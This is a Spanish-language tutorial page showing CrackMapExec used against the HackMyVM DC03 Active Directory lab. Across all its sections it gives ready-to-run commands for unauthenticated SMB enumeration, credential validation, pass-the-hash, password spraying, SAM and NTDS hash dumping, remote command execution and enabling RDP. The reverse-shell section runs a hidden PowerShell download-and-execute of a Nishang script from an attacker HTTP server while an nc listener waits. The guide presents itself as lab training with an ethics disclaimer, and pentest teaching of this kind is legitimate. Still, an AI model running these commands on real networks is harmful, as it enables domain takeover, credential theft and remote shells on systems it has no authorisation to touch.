GhostAcademy logo GhostAcademy
🔎 Red Team · Active Directory · SMB · Windows · Kali Linux
CrackMapExec

Guia completa de laboratorio con la maquina DC03 de HackMyVM. Enumeracion, validacion de credenciales, pass-the-hash, bruteforce, WinRM, dumping de credenciales SAM/NTDS, ejecucion remota de comandos, reverse shell y habilitacion de RDP.

SMB WinRM Pass-the-Hash RCE SAM dump NTDS dump RDP
crackmapexeccme Active DirectoryNTLM bruteforcelateral movement DC03HackMyVM

¿Que es CrackMapExec?

portadaCrackMapExec — herramienta de pentesting para redes Windows y Active Directory
CrackMapExec — herramienta de pentesting para redes Windows y Active Directory

CrackMapExec (CME) es una herramienta de pentesting diseñada especificamente para realizar auditorias de seguridad en entornos Windows y Active Directory. Fue creada para facilitar la interaccion con varios protocolos y servicios de red comunes en redes corporativas: SMB, WinRM, RDP y LDAP.

Su proposito principal es automatizar tareas rutinarias de pruebas de penetracion y evaluacion de seguridad, permitiendo a los profesionales de ciberseguridad identificar rapidamente vulnerabilidades y configuraciones inseguras.

🔎 Ideal para post-explotacion: CME es especialmente util en auditorias post-explotacion, ya que permite la interaccion con multiples sistemas de una red a partir de credenciales comprometidas o configuraciones erroneas.

Laboratorio

🐠
Kali Linux
Maquina atacante con CME preinstalado
🆕
DC03
Maquina objetivo — HackMyVM
🛡
CrackMapExec
Preinstalado en Kali Linux
labEntorno de laboratorio — Kali Linux atacando el DC03 de HackMyVM
Entorno de laboratorio — Kali Linux atacando el DC03 de HackMyVM
⚠ Importante: En este laboratorio no se resuelve la maquina DC03, simplemente se demuestra el potencial de CrackMapExec. CME viene preinstalado en Kali Linux. Si no esta disponible, puedes instalarlo desde kali.org/tools/crackmapexec
🔎
Enumeracion Basica
crackmapexec smb <IP> — reconocimiento inicial del objetivo

Una vez identificada la IP del DC, comenzamos con una enumeracion basica para obtener informacion del objetivo sin necesidad de credenciales:

kali — enumeracion SMB basica
crackmapexec smb 14.14.1.34
crackmapexeccrackmapexec smb — enumeracion basica sin credenciales
crackmapexec smb — enumeracion basica sin credenciales
CampoDescripcion e importancia
IP del servidorDireccion IP del objetivo en la red. Permite ubicarlo para posteriores pruebas.
HostnameNombre del servidor (ej. DC1 suele indicar un Controlador de Dominio). Util para identificar su proposito.
Sistema operativoVersion de Windows. Ayuda a identificar vulnerabilidades especificas y exploits aplicables.
DominioNombre del dominio Active Directory al que pertenece el servidor.
Firmas SMBEnabled Evita ataques Man-in-the-Middle. Disabled Configuracion insegura explotable.
SMBv1Enabled Protocolo obsoleto y vulnerable a multiples ataques. Disabled Configuracion segura.
🔑
Validacion de Credenciales
4 posibles outputs segun el resultado de autenticacion

La validacion de credenciales es uno de los usos mas comunes y potentes de CME. Permite comprobar si un conjunto de credenciales (usuario/contrasena) o hashes son validos en uno o mas sistemas de la red.

[-]Credenciales erroneas — no validas
[-]Cuenta deshabilitada (morado)
[+]Credenciales validas — sin admin
[+] Pwn3d!Admin confirmado

Credenciales erroneas

kali
crackmapexec smb 14.14.1.34 -u 'CREDENCIAL' -p 'ERRONEO'
crackmapexec[-] en ROJO — credenciales invalidas
[-] en ROJO — credenciales invalidas

Resultado [-] en ROJO: las credenciales NO son validas.

Cuenta deshabilitada

kali
crackmapexec smb 14.14.1.34 -u 'guest' -p ''
crackmapexec[-] en MORADO — cuenta deshabilitada (guest)
[-] en MORADO — cuenta deshabilitada (guest)

Resultado [-] en MORADO: la cuenta existe pero esta desactivada.

Credenciales validas

kali
crackmapexec smb 14.14.1.34 -u 'xkate578' -p 'jesuschrist'
crackmapexec[+] en VERDE — credenciales validas sin privilegios de administrador
[+] en VERDE — credenciales validas sin privilegios de administrador

Resultado [+] en VERDE: credenciales validas, pero sin permisos de administrador.

Credenciales con permisos de administrador

kali
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!'
crackmapexec[+] VERDE + (Pwn3d!) — credenciales con altos privilegios sobre el sistema
[+] VERDE + (Pwn3d!) — credenciales con altos privilegios sobre el sistema

Resultado [+] (Pwn3d!): credenciales validas con altos privilegios sobre el sistema.

🔑
Pass the Hash
Autenticacion con hash NTLM sin necesidad de la contrasena en texto claro

CME permite validar credenciales usando hashes NTLM directamente, sin necesidad de conocer la contrasena en texto claro.

kali — pass the hash con hash NTLM
crackmapexec smb 14.14.1.34 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'
crackmapexecPass-the-Hash con hash NTLM del Administrator — Pwn3d! confirmado
Pass-the-Hash con hash NTLM del Administrator — Pwn3d! confirmado
💡 -H vs -p: Usa -H para pasar hashes NTLM en lugar de -p para contrasenas. El hash del Administrator devuelve (Pwn3d!) confirmando acceso administrativo completo sin la contrasena.
🔨
Bruteforce de Credenciales
Listas de usuarios y/o contrasenas — password spraying
kali — bruteforce completo user+pass
# Para en la primera credencial valida encontrada
crackmapexec smb 14.14.1.34 -u users.txt -p passwords.txt

# Continua aunque encuentre credenciales validas
crackmapexec smb 14.14.1.34 -u users.txt -p passwords.txt --continue-on-success
crackmapexecBruteforce con lista de usuarios y contrasenas — multiples credenciales encontradas
Bruteforce con lista de usuarios y contrasenas — multiples credenciales encontradas

Variantes de bruteforce

kali — variantes
# Usuario conocido + lista de contrasenas
crackmapexec smb 14.14.1.34 -u 'xkate578' -p passwords.txt

# Lista de usuarios + contrasena conocida (password spraying)
crackmapexec smb 14.14.1.34 -u users.txt -p 'Pass1234!'

# Usuario conocido + lista de hashes NTLM
crackmapexec smb 14.14.1.34 -u 'Administrator' -H hashes.txt
crackmapexecVariantes de bruteforce — usuario fijo con lista de contrasenas
Variantes de bruteforce — usuario fijo con lista de contrasenas
⚠ Riesgo de bloqueo de cuentas: El bruteforce puede bloquear cuentas si la politica de contrasenas del dominio tiene un umbral de intentos fallidos. Usa --continue-on-success con cuidado y considera el password spraying (una sola contrasena contra muchos usuarios) para reducir el riesgo.
🖥
WinRM
Validar credenciales sobre el servicio Windows Remote Management
kali — validacion WinRM
# Usuario sin privilegios admin en AD
crackmapexec winrm 14.14.1.34 -u 'xkate578' -p 'jesuschrist'

# Usuario con acceso WinRM
crackmapexec winrm 14.14.1.34 -u 'fbeth103' -p 'Pass1234!'
crackmapexecValidacion WinRM — Pwn3d! indica permiso de conexion remota via WinRM
Validacion WinRM — Pwn3d! indica permiso de conexion remota via WinRM
💡 (Pwn3d!) en WinRM: En el contexto de WinRM, (Pwn3d!) significa que el usuario tiene permitida la conexion via WinRM, pero NO necesariamente tiene permisos de administrador sobre el AD. Con estas credenciales se puede conectar usando evil-winrm para obtener una shell remota interactiva.
📁
Enumeracion de Carpetas Compartidas
--shares — descubrir recursos SMB accesibles

Permite descubrir recursos compartidos accesibles en sistemas Windows. Util para identificar configuraciones debiles, datos sensibles o puntos de acceso para el movimiento lateral.

kali
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --shares
crackmapexec--shares — lista de carpetas compartidas con permisos de lectura/escritura
--shares — lista de carpetas compartidas con permisos de lectura/escritura
👥
Enumeracion de Grupos y Usuarios
--groups / --users — mapear el AD

Permite obtener informacion clave sobre cuentas y roles en el entorno Windows. Ayuda a identificar usuarios validos, privilegios asignados y posibles objetivos para escalada de privilegios o movimiento lateral.

kali
# Enumerar grupos del dominio
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --groups

# Enumerar usuarios del dominio
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --users
crackmapexec--groups — lista de grupos del dominio Active Directory
--groups — lista de grupos del dominio Active Directory
crackmapexec--users — lista de usuarios del dominio con informacion de cuentas
--users — lista de usuarios del dominio con informacion de cuentas
📊
Enumeraciones Varias
Politicas de contrasenas, discos, equipos y usuarios logueados
kali — enumeraciones adicionales
# Politica de contrasenyas del dominio
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --passpol

# Discos del servidor
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --disks

# Equipos unidos al dominio
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --computers

# Usuarios actualmente con sesion iniciada
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --loggedon-users
crackmapexecEnumeraciones varias — passpol, disks, computers, loggedon-users
Enumeraciones varias — passpol, disks, computers, loggedon-users
--passpol
Politica de contrasenyas: longitud minima, complejidad, umbral de bloqueo. Clave para planificar el ataque.
--disks
Unidades de disco del servidor. Util para identificar recursos adicionales montados.
--computers
Equipos unidos al dominio. Permite mapear toda la infraestructura AD.
--loggedon-users
Usuarios con sesion activa en el momento del escaneo. Ideal para identificar objetivos de movimiento lateral.
💾
Dumpeo de Credenciales
--sam / --ntds — extraer hashes de SAM y Active Directory

Permite extraer hashes de contrasenas, credenciales en texto claro y secretos almacenados en sistemas Windows. Requiere credenciales con los permisos necesarios.

kali — dumpeo de hashes
# Dumping de la SAM (usuarios y hashes locales del servidor)
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --sam

# Dumping del NTDS (TODOS los usuarios y hashes del dominio AD)
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' --ntds
crackmapexec--sam y --ntds — hashes de usuarios locales y de todo el dominio AD
--sam y --ntds — hashes de usuarios locales y de todo el dominio AD
💾 SAM vs NTDS:
--sam: Vuelca los hashes NTLM de los usuarios locales del servidor (SAM database).
--ntds: Vuelca los hashes NTLM de todos los usuarios del dominio (Active Directory NTDS.dit). Con estos hashes puedes realizar Pass-the-Hash contra cualquier maquina del dominio.
⚡
Ejecucion Remota de Comandos (RCE)
-x (CMD) / -X (PowerShell) — ejecutar comandos en el sistema remoto

Permite ejecutar instrucciones en sistemas Windows de forma no interactiva, aprovechando credenciales validas o configuraciones inseguras.

kali — RCE via CMD y PowerShell
# Ejecutar comando CMD en el sistema remoto (-x)
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -x whoami

# Ejecutar comando PowerShell en el sistema remoto (-X)
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -X 'Get-Process'
crackmapexec-x whoami — resultado del comando ejecutado remotamente en el DC
-x whoami — resultado del comando ejecutado remotamente en el DC
🐠
Reverse Shell
Ejecutar un script PowerShell para obtener shell interactiva inversa

A traves de una reverse shell, se puede ejecutar comandos, explorar el sistema, obtener datos sensibles y moverse lateralmente. Es una de las formas mas efectivas de mantener el acceso y realizar post-explotacion.

kali — preparar y lanzar reverse shell
# 1. Levantar servidor HTTP para servir el script PS1
sudo python3 -m http.server 80

# 2. Ponerse a la escucha en el puerto configurado en el rev.ps1
nc -lnvp 443

# 3. Ejecutar el payload via CME para descargar y ejecutar el script
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -x "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://14.14.1.100/rev.ps1')""
crackmapexecReverse shell obtenida — conexion entrante en el listener nc
Reverse shell obtenida — conexion entrante en el listener nc
💡 Script Nishang: El script rev.ps1 utilizado es del repositorio Nishang (github.com/samratashok/nishang), una coleccion de scripts y payloads PowerShell para pruebas de penetracion en Windows. Configura la IP del listener y el puerto antes de servirlo.
🖼
Habilitar RDP
Modulo -M rdp — activar Remote Desktop Protocol de forma remota

CME permite habilitar y gestionar RDP en sistemas Windows de forma remota usando su sistema de modulos (-M).

kali — habilitar RDP via modulo CME
# Habilitar RDP usando el modulo rdp con ACTION=enable
crackmapexec smb 14.14.1.34 -u 'fbeth103' -p 'Pass1234!' -M rdp -o ACTION=enable
crackmapexecModulo RDP habilitado — RDP activado de forma remota en el DC
Modulo RDP habilitado — RDP activado de forma remota en el DC
🖥 Siguiente paso: Con RDP habilitado, puedes conectarte graficamente al servidor usando xfreerdp o rdesktop desde Kali Linux con las credenciales comprometidas para obtener acceso completo al escritorio remoto.

Conclusion

CrackMapExec es una herramienta clave para la auditoria de redes Windows que integra en un solo framework todas las fases del ciclo de ataque:

Reconocimiento
Enumeracion SMB sin credenciales: hostname, SO, dominio, firmas SMB.
Validacion
Comprobar credenciales, detectar admins, pass-the-hash y bruteforce.
Enumeracion profunda
Usuarios, grupos, shares, politicas, equipos y sesiones activas.
Post-explotacion
Dump SAM/NTDS, RCE, reverse shell, habilitar RDP y WinRM.
⚠ Uso etico y legal: CrackMapExec es una herramienta de auditoria de seguridad. Su uso debe limitarse a entornos propios, laboratorios controlados o con autorizacion explicita y por escrito. El uso no autorizado en redes ajenas es ilegal.